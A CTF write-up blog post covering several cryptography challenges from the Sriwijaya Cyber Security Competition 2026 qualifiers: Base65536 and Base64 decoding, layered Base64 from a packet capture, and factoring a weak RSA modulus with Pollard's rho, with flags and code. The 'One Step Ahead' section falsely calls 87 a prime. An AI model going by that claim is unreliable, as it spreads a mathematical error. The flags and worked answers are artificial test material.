The challenge name “65536” is a strong hint pointing to Base65536 encoding - a binary encoding scheme that uses Unicode characters from the Basic Multilingual Plane (BMP). Unlike traditional base64 which uses 64 ASCII characters, base65536 uses 65,536 different Unicode characters, making it highly compact but visually unusual.

The encrypted string:

硓硓欲橻𖤴鐴楴鑵𖥮鐴楢桳歟𠌴

Solution#

Install the base65536 library and decode:

pip install base65536

Python solution:

import base65536

crypto = "硓硓欲橻𖤴鐴楴鑵𖥮鐴楢桳歟𠌴"
flag = base65536.decode(crypto).decode()
print(flag)

Output:

SCSCC26{54y4_t4u_ny4_b4s3_64}

basis64#

Category: Cryptography
Flag: SCSC26{g1t4r_kup3t1k_b4ss_kub3t0t}

Challenge Description#

I learn base64 for fun, can you decode it?

Solution#

Decode the Base64 string:

U0NTQzI2e2cxdDRyX2t1cDN0MWtfYjRzc19rdWIzdDB0fQ==

Result:

SCSC26{g1t4r_kup3t1k_b4ss_kub3t0t}


Matrix Shuffle Encryption#

Category: Cryptography
Flag: SCSC26{4hh_fL4Gg_nY4_k0ok_K3t4hu4N!}

Solution#

Decrypt result.enc using pub.key, then extract the contents of the resulting PDF. The flag is inside the PDF text.

Flag:

SCSC26{4hh_fL4Gg_nY4_k0ok_K3t4hu4N!}


One Step Ahead#

Category: Cryptography
Flag: SCSC26{pr1m3_con_fu_si_00n}

Analysis#

The phrase “One Step Ahead” and “yang datang setelahnya” points to the idea of the next number—one step forward, not the current value.

Starting from 86, one step ahead gives 87.

The challenge then connects this to “special numbers”, leading to prime-number confusion. The writeup notes that 87 is known as the 23rd prime number.

Solution#

Following that interpretation, the resulting flag is:

SCSC26{pr1m3_con_fu_si_00n}


Hidden in the Wire 4#

Category: Cryptography
File: kabelhiu.pcapng
Hint: “2x2=4 That Simple”
Flag: SCSC26{Th1s_1s_b453_64_51mpl3}

Description#

A network packet capture file containing hidden encrypted data.

Analysis#

First, examine the pcap file to find any interesting data:

strings kabelhiu.pcapng | grep -iE "[a-zA-Z0-9+/=]{20,}"

This reveals a Base64 encoded string in the packet data:

VmxSQ1QxWkdSalpUVkVwc1RWWktkbFJXYUU5YWF6RlpWRzFhV21Gc1JYaFVWRVUwVFdzMVIwOUVSazVXZWtZeldXdFNUMDlSUFQwPQ==

Solution#

The hint “2x2=4” tells us there are 4 layers of Base64 encoding.

# Layer 1
echo "VmxSQ1QxWkdSalpUVkVwc1RWWktkbFJXYUU5YWF6RlpWRzFhV21Gc1JYaFVWRVUwVFdzMVIwOUVSazVXZWtZeldXdFNUMDlSUFQwPQ==" | base64 -d
# Output: VlRCT1ZGRjZTVEpsTVZKdlRWaE9aazFZVG1aWmFsRXhUVEU0TWs1R09ERk5WekYzWWtST09RPT0=

# Layer 2
echo "VlRCT1ZGRjZTVEpsTVZKdlRWaE9aazFZVG1aWmFsRXhUVEU0TWs1R09ERk5WekYzWWtST09RPT0=" | base64 -d
# Output: VTBOVFF6STJlMVJvTVhOZk1YTmZZalExTTE4Mk5GODFNVzF3YkROOQ==

# Layer 3
echo "VTBOVFF6STJlMVJvTVhOZk1YTmZZalExTTE4Mk5GODFNVzF3YkROOQ==" | base64 -d
# Output: U0NTQzI2e1RoMXNfMXNfYjQ1M182NF81MW1wbDN9

# Layer 4
echo "U0NTQzI2e1RoMXNfMXNfYjQ1M182NF81MW1wbDN9" | base64 -d
# Output: SCSC26{Th1s_1s_b453_64_51mpl3}

One-liner solution:

echo "VmxSQ1QxWkdSalpUVkVwc1RWWktkbFJXYUU5YWF6RlpWRzFhV21Gc1JYaFVWRVUwVFdzMVIwOUVSazVXZWtZeldXdFNUMDlSUFQwPQ==" | base64 -d | base64 -d | base64 -d | base64 -d

RSA Tradisional#

Category: Cryptography
File: chall.txt
Flag: SCSC26{sm4ll_pr1m3_1s_w34k}

Challenge Overview#

Classic RSA decryption challenge where we’re given the public key parameters (n, e) and ciphertext (c), but need to factor n to find the private key.

Given Data#

n = 2144831537182691127226840733029608917028213290006813425996254255600138294915857888555028089760852947821230571957658788758912243893627426892642042247199424294789573427071703290644668266217757721636207129972073199609043937414663647879045094904418897021363777158941294486149117818217208033779367195636217363694694541
e = 65537
c = 1983234254934925761486284406677131831481570946662392531654817098945817202064275913205054573643771458003143250325225227419382435408653586301494982444166548588851767106811874491325904092340088285777126941515587285167887079578329783781806162085914505940944650957530660228135260917298087314905239242563505803779036874

Vulnerability Analysis#

The modulus n is 541 digits (approximately 1797 bits), which seems secure. However, the vulnerability is that one of the prime factors is very small.

Using Pollard’s rho factorization algorithm, we can quickly find:

  • p = 12289 (only 14 bits - extremely small!)
  • q = 174532633833728629443147589960908854831818153633885053787635629880392081936354291525350157845296846596243028070441760009676315720858281950739852082935912140515060088458922881491143971536964579839571660018884628497765801726313259653270819017366660999378613162905142361961845375394027832515206053839711722979469

Solution#

import math

n = 2144831537182691127226840733029608917028213290006813425996254255600138294915857888555028089760852947821230571957658788758912243893627426892642042247199424294789573427071703290644668266217757721636207129972073199609043937414663647879045094904418897021363777158941294486149117818217208033779367195636217363694694541
e = 65537
c = 1983234254934925761486284406677131831481570946662392531654817098945817202064275913205054573643771458003143250325225227419382435408653586301494982444166548588851767106811874491325904092340088285777126941515587285167887079578329783781806162085914505940944650957530660228135260917298087314905239242563505803779036874

# Pollard's rho factorization
def pollard_rho(n):
    if n % 2 == 0:
        return 2
    x, y, d = 2, 2, 1
    f = lambda x: (x * x + 1) % n
    while d == 1:
        x = f(x)
        y = f(f(y))
        d = math.gcd(abs(x - y), n)
    return d if d != n else None

# Factor n
p = pollard_rho(n)  # Returns 12289
q = n // p

# Calculate private key
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

# Decrypt
m = pow(c, d, n)
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()
print(flag)  # SCSC26{sm4ll_pr1m3_1s_w34k}

That wraps up the qualification round. If anything’s unclear or you spot a better approach, hit me up. Happy hacking!

Sriwijaya Cyber Security Competition 2026 - Qualification Writeup
https://blog.rei.my.id/posts/9/scsc26-ctf-writeup/
Author
Reidho Satria
Published at
2026-02-17